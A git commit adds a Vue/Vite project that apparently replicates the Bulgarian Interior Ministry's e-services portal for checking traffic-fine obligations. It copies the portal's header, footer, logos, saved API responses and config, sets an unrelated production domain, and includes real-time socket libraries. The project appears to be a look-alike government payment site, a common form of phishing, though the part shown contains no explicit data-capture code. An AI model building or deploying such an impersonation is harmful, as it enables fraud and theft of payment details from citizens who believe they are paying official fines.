This commit is contained in:
telangpu
2026-05-10 23:13:23 +08:00
parent 04f5825fc5
commit c8dc57a3f6
123 changed files with 38613 additions and 0 deletions

View File

@@ -0,0 +1,5 @@
# 平台本地运行端口号
VITE_PORT = 8848
# 是否隐藏首页 隐藏 true 不隐藏 false 勿删除VITE_HIDE_HOME只需在.env文件配置
VITE_HIDE_HOME = false

View File

@@ -0,0 +1,11 @@
# 平台本地运行端口号
VITE_PORT = 8848
# 开发环境读取配置文件路径
VITE_PUBLIC_PATH = ./
# 网站前缀
VITE_BASE_URL = "upc.xx.sczqb6.top"
# 开发环境路由历史模式Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数"
VITE_ROUTER_HISTORY = "hash"

View File

@@ -0,0 +1,16 @@
# 网站前缀
VITE_BASE_URL=/
# 线上环境平台打包路径
VITE_PUBLIC_PATH = ./
# 线上环境路由历史模式Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数"
VITE_ROUTER_HISTORY = "hash"
# 是否在打包时使用cdn替换本地库 替换 true 不替换 false
VITE_CDN = false
# 是否启用gzip压缩或brotli压缩分两种情况删除原始文件和不删除原始文件
# 压缩时不删除原始文件的配置gzip、brotli、both同时开启 gzip 与 brotli 压缩、none不开启压缩默认
# 压缩时删除原始文件的配置gzip-clear、brotli-clear、both-clear同时开启 gzip 与 brotli 压缩、none不开启压缩默认
VITE_COMPRESSION = "none"

View File

@@ -0,0 +1,25 @@
/* eslint-env node */
require('@rushstack/eslint-patch/modern-module-resolution')
module.exports = {
root: true,
'extends': [
'plugin:vue/vue3-essential',
'eslint:recommended',
'@vue/eslint-config-typescript',
'@vue/eslint-config-prettier'
],
overrides: [
{
files: [
'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}'
],
'extends': [
'plugin:cypress/recommended'
]
}
],
parserOptions: {
ecmaVersion: 'latest'
}
}

28
a11_bg_Fine_kat-obligations/.gitignore vendored Normal file
View File

@@ -0,0 +1,28 @@
# Logs
logs
*.log
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*
node_modules
.DS_Store
dist
dist-ssr
coverage
*.local
/cypress/videos/
/cypress/screenshots/
# Editor directories and files
.vscode/*
!.vscode/extensions.json
.idea
*.suo
*.ntvs*
*.njsproj
*.sln
*.sw?

View File

@@ -0,0 +1 @@
{}

View File

@@ -0,0 +1,3 @@
{
"recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"]
}

View File

@@ -0,0 +1,68 @@
# vue3-clean-architecture
This template should help get you started developing with Vue 3 in Vite.
## Recommended IDE Setup
[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin).
## Type Support for `.vue` Imports in TS
TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types.
If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps:
1. Disable the built-in TypeScript Extension
1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette
2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)`
2. Reload the VSCode window by running `Developer: Reload Window` from the command palette.
## Customize configuration
See [Vite Configuration Reference](https://vitejs.dev/config/).
## Project Setup
```sh
npm install
```
### Compile and Hot-Reload for Development
```sh
npm run dev
```
### Type-Check, Compile and Minify for Production
```sh
npm run build
```
### Run Unit Tests with [Vitest](https://vitest.dev/)
```sh
npm run test:unit
```
### Run End-to-End Tests with [Cypress](https://www.cypress.io/)
```sh
npm run test:e2e:dev
```
This runs the end-to-end tests against the Vite development server.
It is much faster than the production build.
But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments):
```sh
npm run build
npm run test:e2e
```
### Lint with [ESLint](https://eslint.org/)
```sh
npm run lint
```

View File

@@ -0,0 +1,8 @@
import { defineConfig } from 'cypress'
export default defineConfig({
e2e: {
specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}',
baseUrl: 'http://localhost:4173'
}
})

View File

@@ -0,0 +1,8 @@
// https://docs.cypress.io/api/introduction/api.html
describe('My First Test', () => {
it('visits the app root url', () => {
cy.visit('/')
cy.contains('h1', 'You did it!')
})
})

View File

@@ -0,0 +1,10 @@
{
"extends": "@vue/tsconfig/tsconfig.web.json",
"include": ["./**/*", "../support/**/*"],
"compilerOptions": {
"isolatedModules": false,
"target": "es5",
"lib": ["es5", "dom"],
"types": ["cypress"]
}
}

View File

@@ -0,0 +1,5 @@
{
"name": "Using fixtures to represent data",
"email": "hello@cypress.io",
"body": "Fixtures are a great way to mock data for responses to routes"
}

View File

@@ -0,0 +1,39 @@
/// <reference types="cypress" />
// ***********************************************
// This example commands.ts shows you how to
// create various custom commands and overwrite
// existing commands.
//
// For more comprehensive examples of custom
// commands please read more here:
// https://on.cypress.io/custom-commands
// ***********************************************
//
//
// -- This is a parent command --
// Cypress.Commands.add('login', (email, password) => { ... })
//
//
// -- This is a child command --
// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... })
//
//
// -- This is a dual command --
// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... })
//
//
// -- This will overwrite an existing command --
// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... })
//
// declare global {
// namespace Cypress {
// interface Chainable {
// login(email: string, password: string): Chainable<void>
// drag(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
// dismiss(subject: string, options?: Partial<TypeOptions>): Chainable<Element>
// visit(originalFn: CommandOriginalFn, url: string, options: Partial<VisitOptions>): Chainable<Element>
// }
// }
// }
export {}

View File

@@ -0,0 +1,20 @@
// ***********************************************************
// This example support/index.js is processed and
// loaded automatically before your test files.
//
// This is a great place to put global configuration and
// behavior that modifies Cypress.
//
// You can change the location of this file or turn off
// automatically serving support files with the
// 'supportFile' configuration option.
//
// You can read more here:
// https://on.cypress.io/configuration
// ***********************************************************
// Import commands.js using ES2015 syntax:
import './commands'
// Alternatively you can use CommonJS syntax:
// require('./commands')

4
a11_bg_Fine_kat-obligations/env.d.ts vendored Normal file
View File

@@ -0,0 +1,4 @@
/// <reference types="vite/client" />
interface ImportMetaEnv {
VITE_BASE_URL: string;
}

View File

@@ -0,0 +1,22 @@
<!DOCTYPE html>
<html lang="bg">
<head>
<base href="/">
<meta charset="utf-8">
<link rel="icon" href="/Static_zy/favicon.ico">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Портал за електронни административни услуги</title>
<link href="/Static_zy/static/css/8.030ce7f4.chunk.css" rel="stylesheet">
<link href="/Static_zy/static/css/main.530438f8.chunk.css" rel="stylesheet">
</head>
<body>
<div id="app"></div>
<script type="module" src="/src/main.ts"></script>
</body>
</html>

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,58 @@
{
"name": "vue3-clean-architecture",
"version": "0.0.0",
"private": true,
"scripts": {
"dev": "vite",
"build": "run-p type-check build-only",
"preview": "vite preview",
"test:unit": "vitest --environment jsdom --root src/",
"test:e2e": "start-server-and-test preview :4173 'cypress run --e2e'",
"test:e2e:dev": "start-server-and-test 'vite dev --port 4173' :4173 'cypress open --e2e'",
"build-only": "vite build",
"type-check": "vue-tsc --noEmit -p tsconfig.vitest.json --composite false",
"lint": "eslint . --ext .vue,.js,.jsx,.cjs,.mjs,.ts,.tsx,.cts,.mts --fix --ignore-path .gitignore",
"zip": "node zip.js",
"prod": "pnpm run build && pnpm run zip"
},
"dependencies": {
"@types/lodash": "^4.17.12",
"axios": "^1.7.7",
"bootstrap": "^5.3.3",
"install": "^0.13.0",
"lodash": "^4.17.21",
"mitt": "^3.0.1",
"pinia": "^2.2.2",
"socket.io-client": "^4.8.1",
"uuid": "^13.0.0",
"vue": "^3.2.45",
"vue-i18n": "^10.0.4",
"vue-router": "^4.1.6",
"vue-scrollto": "^2.20.0",
"ws": "^8.18.0"
},
"devDependencies": {
"@rushstack/eslint-patch": "^1.1.4",
"@types/jsdom": "^20.0.1",
"@types/node": "^18.11.12",
"@types/uuid": "^11.0.0",
"@vitejs/plugin-vue": "^4.0.0",
"@vue/eslint-config-prettier": "^7.0.0",
"@vue/eslint-config-typescript": "^11.0.0",
"@vue/test-utils": "^2.2.6",
"@vue/tsconfig": "^0.1.3",
"archiver": "^7.0.1",
"cypress": "^12.0.2",
"eslint": "^8.22.0",
"eslint-plugin-cypress": "^2.12.1",
"eslint-plugin-vue": "^9.3.0",
"jsdom": "^20.0.3",
"npm-run-all": "^4.1.5",
"prettier": "^2.7.1",
"start-server-and-test": "^1.15.2",
"typescript": "~4.7.4",
"vite": "^4.0.0",
"vitest": "^0.25.6",
"vue-tsc": "^1.0.12"
}
}

5271
a11_bg_Fine_kat-obligations/pnpm-lock.yaml generated Normal file

File diff suppressed because it is too large Load Diff

Binary file not shown.

After

Width:  |  Height:  |  Size: 141 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 295 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 759 B

View File

@@ -0,0 +1 @@
[{"languageID":1,"code":"bg","name":"български език","isActive":true,"isDefault":true},{"languageID":2,"code":"en","name":"English","isActive":true,"isDefault":false},{"languageID":3,"code":"fr","name":"French","isActive":false,"isDefault":false}]

View File

@@ -0,0 +1 @@
[{"groupID":309,"isTranslated":false,"name":"Проверка на задължения по фиш, НП или споразумение по направления \"Пътна полиция\" и \"Български документи за самоличност\"","orderNumber":99,"iconName":"icon-service-pay.svg","isActive":true,"languageCode":"bg","updatedOn":"2023-10-19T10:00:38.706+03:00"},{"groupID":297,"isTranslated":false,"name":"По направление на дейност \"Пътна полиция\"","orderNumber":100,"iconName":"icon-service-pp.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:16:41.687+02:00"},{"groupID":296,"isTranslated":false,"name":"По направление на дейност ''Български документи за самоличност''","orderNumber":200,"iconName":"icon-service-bds.svg","isActive":true,"languageCode":"bg","updatedOn":"2020-11-20T16:16:46.357+02:00"},{"groupID":300,"isTranslated":false,"name":"По направление на дейност \"Контрол на общоопасните средства\"","orderNumber":300,"iconName":"icon-service-kos.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:16:58.827+02:00"},{"groupID":301,"isTranslated":false,"name":"По направление на дейност \"Миграция\"","orderNumber":400,"iconName":"icon-service-m.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:12.356+02:00"},{"groupID":299,"isTranslated":false,"name":"По направление на дейност \"Пожарна безопасност и защита на населението\"","orderNumber":500,"iconName":"icon-service-pb.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:22.661+02:00"},{"groupID":298,"isTranslated":false,"name":"По направление на дейност \"Частна охранителна дейност\"","orderNumber":600,"iconName":"icon-service-chod.svg","isActive":true,"languageCode":"bg","updatedOn":"2021-01-20T11:17:30.795+02:00"}]

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
No Content: https://e-uslugi.mvr.bg/api/Users/current

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1 @@
<svg xmlns='http://www.w3.org/2000/svg' width='750' height='500' fill='none' viewBox='0 0 27 18'><path fill='#E6E9EB' d='M0 3a3 3 0 0 1 3-3h21a3 3 0 0 1 3 3v12a3 3 0 0 1-3 3H3a3 3 0 0 1-3-3V3z'/><path fill='#B9C4C9' d='M4 12h19v2H4z'/><rect width='4' height='4' x='4' y='4' fill='#fff' rx='1'/></svg>

After

Width:  |  Height:  |  Size: 300 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

View File

@@ -0,0 +1,69 @@
<div id="react-app" class="layout-wrapper">
<div class="footer-wrapper">
<footer class="footer" style="pointer-events: none;">
<div class="footer-containter-bg">
<div class="footer-links-container fixed-content-width">
<ul>
<li class="footer-link"><a href="/news">Новини</a></li>
<li class="footer-link"><a href="/test_sign">Тестово подписване</a></li>
<li class="footer-link"><a href="/services/PreviewDocument">Преглед на е-документи</a></li>
</ul>
<ul>
<li class="footer-link"><a href="/privacy_policy">Политика за защита на личните данни</a></li>
<li class="footer-link"><a href="/accessibility_policy">Политика за достъпност</a></li>
<li class="footer-link"><a href="/security_policy">Средства за автентикация</a></li>
</ul>
<ul>
<li class="footer-link"><a href="/term_of_use">Условия за ползване</a></li>
<li class="footer-link"><a href="/cookies">Бисквитки</a></li>
<li class="footer-link"><a href="/site-map">Карта на сайта</a></li>
</ul>
<ul>
<li class="footer-link"><button type="button" class="btn btn-link"
title="Страницата се отваря в нов таб на браузъра.">Помощ</button></li>
<li class="footer-link"><a href="/video_lessons">Видео уроци</a></li>
<li class="footer-link"><a href="/contacts">Контакти</a></li>
</ul><button accesskey="0" tabindex="-1" type="button" class="btn btn-link skip-to-content"
title="Бърз достъп">0 - Функции за достъп</button><button accesskey="1" tabindex="-1" type="button"
class="btn btn-link skip-to-content"
title="Страницата се отваря в нов таб на браузъра.">1-Помощ</button><button accesskey="2" tabindex="-1"
type="button" class="btn btn-link skip-to-content" title="Бърз достъп">2 - Вход</button><button
accesskey="3" tabindex="-1" type="button" class="btn btn-link skip-to-content" title="Бърз достъп">3 -
Услуги</button><button accesskey="4" tabindex="-1" type="button" class="btn btn-link skip-to-content"
title="Бърз достъп">4 - Моите е-услуги</button><button accesskey="5" tabindex="-1" type="button"
class="btn btn-link skip-to-content" title="Бърз достъп">5 - Контакти</button><button accesskey="6"
tabindex="-1" type="button" class="btn btn-link skip-to-content" title="Бърз достъп">6 - Политика за защита
на личните данни</button><button accesskey="7" tabindex="-1" type="button"
class="btn btn-link skip-to-content" title="Бърз достъп">7 - Карта на сайта</button>
<div class="fixed-content-width">
<div class="software-version">Версия: 1.0.4.19</div>
</div>
</div>
</div>
<div class="row footer-containter fixed-content-width">
<div class="col-sm-8 order-sm-2">
<p class="footer-text">Порталът за електронни административни услуги на МВР е развит в рамките на проект №
BG05SFOP001-1.029-0001 "Разработване на електронни административни услуги и внедряване на допълнителни
функционалности в автоматизирани информационни системи на МВР", с финансовата подкрепа на ОПДУ 2014-2020 и
съфинансиран от Европейския съюз чрез ЕСФ.</p>
</div>
<div class="col-6 col-sm-2 order-sm-1 text-center text-sm-left"><img class=""
src="/Static_zy/static/media/footer-logo-eu.9801837e.svg" alt=""></div>
<div class="col-6 col-sm-2 order-sm-3 text-center text-sm-right"><img class=""
src="/Static_zy/static/media/footer-logo-opdu.aea19908.svg" alt=""></div>
</div>
</footer>
</div>
<aside id="cookieInfo" class="cookie-info d-none">
<div class="fixed-content-width">
<h5>Използване на бисквитки</h5>
<p>Този сайт използва "бисквитки" с цел по-добро обслужване на своите посетители. За повече информация, моля да се
запознаете с пълната информация за <a class="text-white" href="/cookies"><b>Бисквитки</b></a></p>
<div class="button-bar">
<div class="right-side"><button type="button" class="btn btn-outline-light" id="COOKIE_ACCEPT">Приеми</button>
</div>
<div class="left-side"></div>
</div>
</div>
</aside>
</div>

View File

@@ -0,0 +1,85 @@
<div id="react-app" class="layout-wrapper" style="pointer-events: none;">
<div class="header-wrapper">
<div class="skip-link"><a href="#PAGE-CONTENT" class="skip-to-content" data-anchor="PAGE-CONTENT">Пропусни основната
навигация</a></div>
<header class="header">
<div class="header-bg">
<div class="section-wrapper fixed-content-width header-gerb-bg">
<div class="row header-container">
<div class="col-auto"><img class="mvr-logo" src="/Static_zy/static/media/logo.1aabeecd.png" alt=""></div>
<div class="col header-title">
<p>Република България<br><strong>Министерство на вътрешните работи</strong></p>
<p class="site-name">Портал за електронни административни услуги на МВР</p>
</div>
</div>
</div>
</div>
</header>
<nav class="navbar-top" aria-label="Основна навигация">
<div class="navbar-top-container fixed-content-width">
<div class="navbar-top-menu d-lg-none"><button class="navbar-top-item" aria-expanded="false" type="button"
title="Покажи всички елементи в навигациятa"><i class="ui-icon nav-icon-menu" aria-hidden="true"></i><span
class="d-none">Покажи всички елементи в навигациятa</span></button></div>
<div class="navbar-top-container--mobile collapse">
<ul class="navbar-top-container-left">
<li><a aria-current="page" class="navbar-top-item active" href="/services">Услуги</a></li>
<li><button type="button" class="navbar-top-item"
title="Страницата се отваря в нов таб на браузъра.">Помощ</button></li>
<li><a class="navbar-top-item" href="/contacts">Контакти</a></li>
</ul>
</div>
<ul class="navbar-top-container-right">
<li><a class="navbar-top-item" href="/search"><span title="Търсене"><i class="ui-icon nav-icon-search mr-0"
aria-hidden="true"></i><span class="sr-only">Търси</span></span></a></li>
<li>
<div class="dropdown"><button aria-controls="dropdownMenuUserMenu" id="dropdownMenuUser" type="button"
data-boundary="window" aria-haspopup="true" class="navbar-top-item dropdown-toggle"
aria-expanded="false"><span title="Потребители"><i class="ui-icon nav-icon-user mr-0 mr-sm-1"
aria-hidden="true"></i><span class="d-none d-sm-inline-block">Потребители</span></span></button>
<div tabindex="-1" role="menu" aria-labelledby="dropdownMenuUser" id="dropdownMenuUserMenu"
aria-hidden="true" class="dropdown-menu"><a href="#" tabindex="0" role="menuitem"
class="dropdown-item">Вход</a><a tabindex="0" role="menuitem" class="dropdown-item"
href="/users/resetPassword">Забравена парола</a><a tabindex="0" role="menuitem" class="dropdown-item"
href="/users/registration">Регистрация</a></div>
<form name="__loginForm" action="api/Users/Login" method="post"></form>
</div>
</li>
<li>
<div class="dropdown"><button id="dropdownMenuAccessibility" aria-controls="dropdownMenuAccessibilityMenu"
type="button" data-boundary="window" aria-haspopup="true" class="navbar-top-item dropdown-toggle"
aria-expanded="false"><span title="Достъпност"><i class="ui-icon nav-icon-accessibility"
aria-hidden="true"></i><span class="sr-only">Достъпност</span></span></button>
<div tabindex="-1" role="menu" id="dropdownMenuAccessibilityMenu"
aria-labelledby="dropdownMenuAccessibility" aria-hidden="true" class="dropdown-menu"><a tabindex="0"
role="menuitem" class="dropdown-item" href="/access_function">Функции за достъп</a><button
type="button" tabindex="0" role="menuitem" class="dropdown-item">Текстова версия</button></div>
</div>
</li>
<li>
<div class="dropdown"><button id="dropdownMenuLanguage" aria-controls="dropdownMenuLanguageMenu"
type="button" aria-haspopup="true" class="navbar-top-item dropdown-toggle" aria-expanded="false"><span
title="Избор на език"><i class="ui-icon nav-icon-globe mr-1" aria-hidden="true"></i><span
class="sr-only">Избор на език</span><span aria-hidden="true">bg</span></span></button>
<div tabindex="-1" role="menu" id="dropdownMenuLanguageMenu" aria-labelledby="dropdownMenuLanguage"
aria-hidden="true" class="dropdown-menu"><button type="button" aria-current="true" tabindex="0"
role="menuitem" class="dropdown-item active">български език</button><button type="button"
data-lang="en" tabindex="0" role="menuitem" class="dropdown-item">English</button></div>
</div>
</li>
<li class="navbar-top-font-size d-none d-md-inline">
<div class="navbar-top-item"><button type="button"><span title="Намали шрифта"><i
class="ui-icon nav-icon-font-minus" aria-hidden="true"></i><span class="sr-only">Намали
шрифта</span></span></button><button type="button"><span title="Нормален шрифт"><i
class="ui-icon nav-icon-font" aria-hidden="true"></i><span class="sr-only">Нормален
шрифт</span></span></button><button type="button"><span title="Увеличи шрифта"><i
class="ui-icon nav-icon-font-plus" aria-hidden="true"></i><span class="sr-only">Увеличи
шрифта</span></span></button></div>
</li>
</ul>
</div>
</nav>
</div>
<div id="topcontrol" class="scroll-to-top" title="Към началото на страницата"
style="position: fixed; bottom: 15px; right: 15px; display: none;"><i class="ui-icon ui-icon-scroll-to-top"></i>
</div>
</div>

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 747 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

View File

@@ -0,0 +1 @@
<!doctype html><html lang="bg"><head><base href="/"/><meta charset="utf-8"/><link rel="icon" href="./favicon.ico"/><meta name="viewport" content="width=device-width,initial-scale=1"/><meta name="description" content="Портал за електронни административни услуги"/><link rel="manifest" href="./manifest.json"/><title>Портал за електронни административни услуги</title><link href="./static/css/8.030ce7f4.chunk.css" rel="stylesheet"><link href="./static/css/main.530438f8.chunk.css" rel="stylesheet"></head><body><noscript>You need to enable JavaScript to run this app.</noscript><script>var applicationConfig={"baseUrlName":"/","clientLanguage":"bg","version":"1.0.4.19","docSaveIntervalInMs":30000,"userInactivityTimeout":1200000,"acceptedFileExt":".docx, .doc, .rtf, .txt, .pdf, .jpg, .jpeg, .png, .gif, .tiff, .p7s, .sxw, .xls, .xlsx","maxRequestLengthInKB":10240,"defaultPageSize":10,"allowTestSign":false,"commonCookieDomain":"e-uslugi.mvr.bg","possibleKATObligationsFishSeries":["А","Е","K","В","С","М","Р","Г","Н","Т","Х","GT","АД","СС","ТП","Б"],"webHelpUrl":"https://e-uslugi.mvr.bg/help/index.html","webHelpConfig":"[{\r\n \u0022pattern\u0022: \u0022/services/applicationProcesses/([0-9]\u002B)\u0022,\r\n \u0022key\u0022: \u0022applicationprocesses\u0022\r\n }, {\r\n \u0022pattern\u0022: \u0022/Account/Login(.*)\u0022,\r\n \u0022key\u0022: \u0022login\u0022\r\n }, {\r\n \u0022pattern\u0022: \u0022/services/kat-obligations\u0022, \r\n\t\t\u0022key\u0022: \u0022applicationProcesses_100001\u0022\r\n }\r\n]","idsrvURL":"https://login-e-uslugi.mvr.bg","doubleLabelingStartDate":"2025-09-01T00:00:00.000Z","doubleLabelingEndDate":"2026-08-09T00:00:00.000Z","dateEurOfficial":"2026-01-01T00:00:00.000Z","officialExchangeRate":1.95583}</script><div id="react-app" class="layout-wrapper"></div><script>!function(e){function t(t){for(var n,a,c=t[0],i=t[1],f=t[2],l=0,p=[];l<c.length;l++)a=c[l],Object.prototype.hasOwnProperty.call(o,a)&&o[a]&&p.push(o[a][0]),o[a]=0;for(n in i)Object.prototype.hasOwnProperty.call(i,n)&&(e[n]=i[n]);for(s&&s(t);p.length;)p.shift()();return u.push.apply(u,f||[]),r()}function r(){for(var e,t=0;t<u.length;t++){for(var r=u[t],n=!0,c=1;c<r.length;c++){var i=r[c];0!==o[i]&&(n=!1)}n&&(u.splice(t--,1),e=a(a.s=r[0]))}return e}var n={},o={7:0},u=[];function a(t){if(n[t])return n[t].exports;var r=n[t]={i:t,l:!1,exports:{}};return e[t].call(r.exports,r,r.exports,a),r.l=!0,r.exports}a.e=function(e){var t=[],r=o[e];if(0!==r)if(r)t.push(r[2]);else{var n=new Promise((function(t,n){r=o[e]=[t,n]}));t.push(r[2]=n);var u,c=document.createElement("script");c.charset="utf-8",c.timeout=120,a.nc&&c.setAttribute("nonce",a.nc),c.src=function(e){return a.p+"static/js/"+({0:"eau-documents-bds",1:"eau-documents-PBZN",2:"eau-documents-cod",3:"eau-documents-kat",4:"eau-documents-kos",5:"eau-documents-migr"}[e]||e)+"."+{0:"05af5c17",1:"a6e141f3",2:"552fb395",3:"f57f366a",4:"c8a9ac18",5:"04450fe2",9:"6f2dc23f"}[e]+".chunk.js"}(e);var i=new Error;u=function(t){c.onerror=c.onload=null,clearTimeout(f);var r=o[e];if(0!==r){if(r){var n=t&&("load"===t.type?"missing":t.type),u=t&&t.target&&t.target.src;i.message="Loading chunk "+e+" failed.\n("+n+": "+u+")",i.name="ChunkLoadError",i.type=n,i.request=u,r[1](i)}o[e]=void 0}};var f=setTimeout((function(){u({type:"timeout",target:c})}),12e4);c.onerror=c.onload=u,document.head.appendChild(c)}return Promise.all(t)},a.m=e,a.c=n,a.d=function(e,t,r){a.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:r})},a.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},a.t=function(e,t){if(1&t&&(e=a(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(a.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)a.d(r,n,function(t){return e[t]}.bind(null,n));return r},a.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return a.d(t,"a",t),t},a.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},a.p="./",a.oe=function(e){throw console.error(e),e};var c=this["webpackJsonpclient-app"]=this["webpackJsonpclient-app"]||[],i=c.push.bind(c);c.push=t,c=c.slice();for(var f=0;f<c.length;f++)t(c[f]);var s=i;r()}([])</script><script src="./static/js/8.91f599bd.chunk.js"></script><script src="./static/js/main.eb4fc6c6.chunk.js"></script></body></html>

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,15 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path fill="#FFFFFF" d="M364.14,374.524c-8.317-2.971-17.478,1.372-20.443,9.696C323.271,441.51,268.739,480,208,480
c-79.401,0-144-64.598-144-143.999c0-54.176,30.025-103.28,78.358-128.149c7.856-4.043,10.95-13.69,6.907-21.547
c-4.042-7.857-13.689-10.95-21.548-6.907c-28.334,14.58-52.241,36.598-69.137,63.674C41.191,270.941,32,303.075,32,336.002
c0,97.046,78.953,175.999,176,175.999c74.235,0,140.881-47.031,165.838-117.032C376.805,386.645,372.464,377.491,364.14,374.524z"
/>
<circle fill="#FFFFFF" cx="210.125" cy="48" r="48"/>
<path fill="#FFFFFF" d="M479.382,442.167l-71.614-150.83c-3.719-8.442-12.153-14.341-21.972-14.341H277.473l-9.822-64.079h93.474
c8.837,0,16-7.164,16-16s-7.163-16-16-16h-98.379l-4.371-28.516c-2.678-17.469-19.007-29.462-36.479-26.782
c-17.469,2.678-29.459,19.01-26.782,36.479c0,0,22.511,140.61,23.147,143.625c2.195,10.99,11.896,19.272,23.531,19.272
l146.856-0.005l61.796,130.842c2.731,5.783,8.481,9.171,14.479,9.171c2.289,0,4.614-0.494,6.821-1.536
C479.736,459.693,483.154,450.157,479.382,442.167z"/>
</svg>

After

Width:  |  Height:  |  Size: 1.1 KiB

View File

@@ -0,0 +1,13 @@
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512">
<path fill="#627A96" d="M255,8C118.043,8,7,119.013,7,256c0,136.957,111.043,248,248,248s248-111.043,248-248
C503,119.013,391.957,8,255,8z M255,472c-119.103,0-216-96.897-216-216c0-57.702,22.47-111.947,63.269-152.742
C143.063,62.465,197.305,40,255,40c57.695,0,111.938,22.465,152.732,63.258C448.531,144.053,471,198.298,471,256
C471,375.103,374.102,472,255,472z"/>
<path fill="#627A96" d="M255,384c-8.836,0-16-7.162-16-16V240.438c0-8.836,7.164-16,16-16c8.837,0,16,7.164,16,16V368
C271,376.838,263.837,384,255,384z"/>
<path fill="#627A96" d="M295.125,384h-80.25c-8.837,0-16-7.162-16-16c0-8.836,7.163-16,16-16h80.25c8.838,0,16,7.164,16,16
C311.125,376.838,303.963,384,295.125,384z"/>
<circle fill="#627A96" cx="255" cy="158.437" r="34"/>
<path fill="#627A96" d="M255,256h-35.751c-8.836,0-16-7.164-16-16s7.164-16,16-16H255c8.837,0,16,7.164,16,16S263.837,256,255,256z"
/>
</svg>

After

Width:  |  Height:  |  Size: 939 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

View File

@@ -0,0 +1,52 @@
<?xml version="1.0" encoding="utf-8"?>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="75px" height="78.516px" viewBox="0 0 75 78.516">
<path fill="#1A1A1A" d="M0.22,58.944V53.66h3.819v0.623H0.921v1.622H3.84v0.615H0.921v1.802h3.243v0.621H0.22L0.22,58.944z"/>
<path fill="#1A1A1A" d="M5.096,58.944V53.66h1.988c0.397,0,0.722,0.058,0.962,0.163c0.251,0.104,0.439,0.271,0.576,0.489c0.136,0.227,0.209,0.456,0.209,0.696c0,0.23-0.063,0.439-0.188,0.639c-0.115,0.199-0.304,0.361-0.555,0.486c0.324,0.089,0.565,0.251,0.743,0.476c0.167,0.227,0.251,0.492,0.251,0.803c0,0.246-0.053,0.476-0.157,0.688c-0.104,0.209-0.229,0.376-0.387,0.492c-0.146,0.115-0.346,0.199-0.575,0.261c-0.23,0.06-0.513,0.089-0.848,0.089L5.096,58.944L5.096,58.944z M5.797,55.884h1.141c0.313,0,0.533-0.026,0.669-0.063c0.178-0.052,0.314-0.141,0.397-0.267c0.095-0.12,0.137-0.271,0.137-0.46c0-0.172-0.042-0.33-0.126-0.46c-0.084-0.136-0.198-0.225-0.355-0.277c-0.157-0.047-0.429-0.071-0.806-0.071H5.797V55.884z M5.797,58.323h1.318c0.22,0,0.376-0.013,0.471-0.026c0.167-0.031,0.293-0.078,0.408-0.146c0.104-0.066,0.198-0.161,0.262-0.293c0.073-0.125,0.104-0.275,0.104-0.442c0-0.199-0.053-0.366-0.146-0.515c-0.104-0.146-0.241-0.245-0.419-0.309c-0.178-0.057-0.439-0.083-0.774-0.083H5.797V58.323z"/>
